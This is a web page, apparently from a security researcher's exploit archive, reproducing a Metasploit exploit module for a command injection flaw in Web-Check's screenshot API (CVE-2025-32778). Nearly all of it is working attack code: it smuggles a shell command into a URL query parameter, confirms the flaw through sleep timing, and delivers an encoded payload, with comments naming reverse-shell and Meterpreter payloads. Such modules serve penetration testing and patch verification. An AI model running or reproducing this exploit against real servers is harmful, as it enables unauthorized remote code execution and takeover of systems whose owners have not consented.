Web-Check Screenshot API Command Injection
Web-Check Screenshot API Command Injection
Web-Check Screenshot API Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Web-Check Screenshot API Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Web-Check Screenshot API Command Injection RCE',
'Description' => %q{
This module exploits a command injection vulnerability in Web-Check's `/api/screenshot` endpoint.
The `directChromiumScreenshot()` function uses `child_process.exec()` with unsanitized user input,
allowing command injection via URL query parameters. The vulnerability was patched in commit
0e4958aa10b2650d32439a799f6fc83a7cd46cef by replacing `exec()` with `execFile()`.
},
'Author' => [
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-32778'],
['URL', 'https://github.com/Lissy93/web-check'],
['URL', 'https://github.com/Lissy93/web-check/commit/0e4958aa10b2650d32439a799f6fc83a7cd46cef']
],
'Platform' => %w[unix linux win],
'Arch' => [ARCH_CMD],
'Payload' => {
'DisableNops' => true,
'Encoder' => 'cmd/base64'
},
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Payload' => {
'Space' => 131068
}
# tested with cmd/unix/reverse_bash
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Payload' => {
'Space' => 2000
}
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-04-12',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 3000
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The base path to Web-Check', '/'])
])
end

def build_url(command = nil)
return Faker::Internet.url if command.nil?

param = Faker::Alphanumeric.alphanumeric(number: rand(4..10))
"http://#{Faker::Internet.domain_name}?#{param}=\";#{command}\""
end

def send_screenshot_request(command = nil)
url = build_url(command)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'api', 'screenshot'),
'method' => 'GET',
'vars_get' => { 'url' => url }
})
end

def check
res, baseline_elapsed = Rex::Stopwatch.elapsed_time do
send_screenshot_request
end

return CheckCode::Unknown("#{peer} - No response from web service") unless res
return CheckCode::Safe('Screenshot API endpoint not found') if res.code == 404

network_latency = [baseline_elapsed, 0.3].max
vprint_status("Testing command injection (baseline: #{baseline_elapsed.round(2)}s)")
sleep_tests = [2, 3, 4].map do |duration|
_, elapsed = Rex::Stopwatch.elapsed_time do
send_screenshot_request("sleep #{duration}")
end
threshold = duration - network_latency
vprint_status("Sleep #{duration}s: #{elapsed.round(2)}s (threshold: #{threshold.round(2)}s)")
{ elapsed: elapsed, threshold: threshold }
end

passed_tests = sleep_tests.count { |test| test[:elapsed] >= test[:threshold] }

case passed_tests
when 2..3
return CheckCode::Vulnerable('Command injection vulnerability confirmed via sleep timing')
when 1
return CheckCode::Detected('Screenshot API endpoint exists and may be vulnerable')
end

return CheckCode::Detected('Screenshot API endpoint exists but RCE not confirmed') if res.code == 200 && res.body.to_s.include?('image')

CheckCode::Unknown('Could not determine vulnerability status')
end

def exploit
vprint_status('Sending payload via screenshot API')
send_screenshot_request(payload.encoded)
end
end
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.